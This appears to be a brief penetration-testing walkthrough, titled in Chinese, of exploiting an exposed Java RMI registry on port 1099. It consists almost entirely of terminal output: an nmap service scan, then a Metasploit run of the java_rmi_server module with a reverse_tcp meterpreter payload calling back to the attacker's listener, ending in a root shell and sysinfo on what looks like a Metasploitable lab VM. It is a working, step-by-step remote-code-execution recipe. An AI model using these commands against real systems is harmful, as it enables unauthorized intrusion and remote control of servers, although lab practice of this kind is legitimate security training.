Java RMI漏洞利用（1099/1090对外开放-rce）

➜  ~ nmap -sV -p 1099 10.0.2.5Starting Nmap 7.70 ( https://nmap.org ) at 2019-07-13 09:49 EDTNmap scan report for 10.0.2.5Host is up (0.00034s latency). PORT     STATE SERVICE     VERSION1099/tcp open  Java-rmi Java RMI RegistryMAC Address: 08:00:27:87:7B:B0 (Oracle VirtualBox virtual NIC)Service Info: Host: localhost Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 6.86 seconds

➜  ~ msfconsole[-] ***rting the Metasploit Framework console.../[-] * WARNING: No database support: No database YAML file[-] ***                                                  IIIIII    dTb.dTb        _.---._  II     4'  v  'B   .'"".'/|`.""'.  II     6.     .P  :  .' / |  `.  :  II     'T;. .;P'  '.'  /  |    `.'  II      'T; ;P'    `. /   |    .'IIIIII     'YvP'       `-.__|__.-'I love shells --egypt       =[ metasploit v5.0.2-dev                           ]+ -- --=[ 1852 exploits - 1046 auxiliary - 325 post       ]+ -- --=[ 541 payloads - 44 encoders - 10 nops            ]+ -- --=[ 2 evasion                                       ]+ -- --=[ ** This is Metasploit 5 development branch **   ]

msf5 > use exploit/multi/misc/java_rmi_servermsf5 exploit(multi/misc/java_rmi_server) > set rhosts 10.0.2.5rhosts => 10.0.2.5

msf5 exploit(multi/misc/java_rmi_server) > set payload java/meterpreter/reverse_tcppayload => java/meterpreter/reverse_tcpmsf5 exploit(multi/misc/java_rmi_server) > set lhost 10.0.2.12lhost => 10.0.2.12

msf5 exploit(multi/misc/java_rmi_server) > show options Module options (exploit/multi/misc/java_rmi_server):    Name       Current Setting  Required  Description   ----       ---------------  --------  -----------   HTTPDELAY  10               yes       Time that the HTTP Server will wait for the payload request   RHOSTS     10.0.2.5         yes       The target address range or CIDR identifier   RPORT      1099             yes       The target port (TCP)   SRVHOST    0.0.0.0          yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0   SRVPORT    8080             yes       The local port to listen on.   SSL        false            no        Negotiate SSL for incoming connections   SSLCert                     no        Path to a custom SSL certificate (default is randomly generated)   URIPATH                     no        The URI to use for this exploit (default is random)  Payload options (java/meterpreter/reverse_tcp):    Name   Current Setting  Required  Description   ----   ---------------  --------  -----------   LHOST  10.0.2.12        yes       The listen address (an interface may be specified)   LPORT  4444             yes       The listen port  Exploit target:    Id  Name   --  ----   0   Generic (Java Payload)

msf5 exploit(multi/misc/java_rmi_server) > run  [*] Started reverse TCP handler on 10.0.2.12:4444 [*] 10.0.2.5:1099 - Using URL: http://0.0.0.0:8080/RTcs5fWbAmO91i[*] 10.0.2.5:1099 - Local IP: http://192.168.1.34:8080/RTcs5fWbAmO91i[*] 10.0.2.5:1099 - Server started.[*] 10.0.2.5:1099 - Sending RMI Header... [*] 10.0.2.5:1099 - Sending RMI Call...[*] 10.0.2.5:1099 - Replied to request for payload JAR[*] Sending stage (53845 bytes) to 10.0.2.5[*] Meterpreter session 1 opened (10.0.2.12:4444 -> 10.0.2.5:35676) at 2019-07-13 09:54:48 -0400 id[-] 10.0.2.5:1099 - Exploit failed: RuntimeError Timeout HTTPDELAY expired and the HTTP Server didn't get a payload request[*] 10.0.2.5:1099 - Server stopped.[*] Exploit completed, but no session was created.msf5 exploit(multi/misc/java_rmi_server) > sessions -lActive sessions===============  Id  Name  Type                    Information            Connection  --  ----  ----                    -----------            ----------  1         meterpreter java/linux  root @ metasploitable  10.0.2.12:4444 -> 10.0.2.5:35676 (10.0.2.5)msf5 exploit(multi/misc/java_rmi_server) > sessions -i 1[*] Starting interaction with 1...meterpreter > sysinfoComputer    : metasploitableOS          : Linux 2.6.24-16-server (i386)Meterpreter : java/linux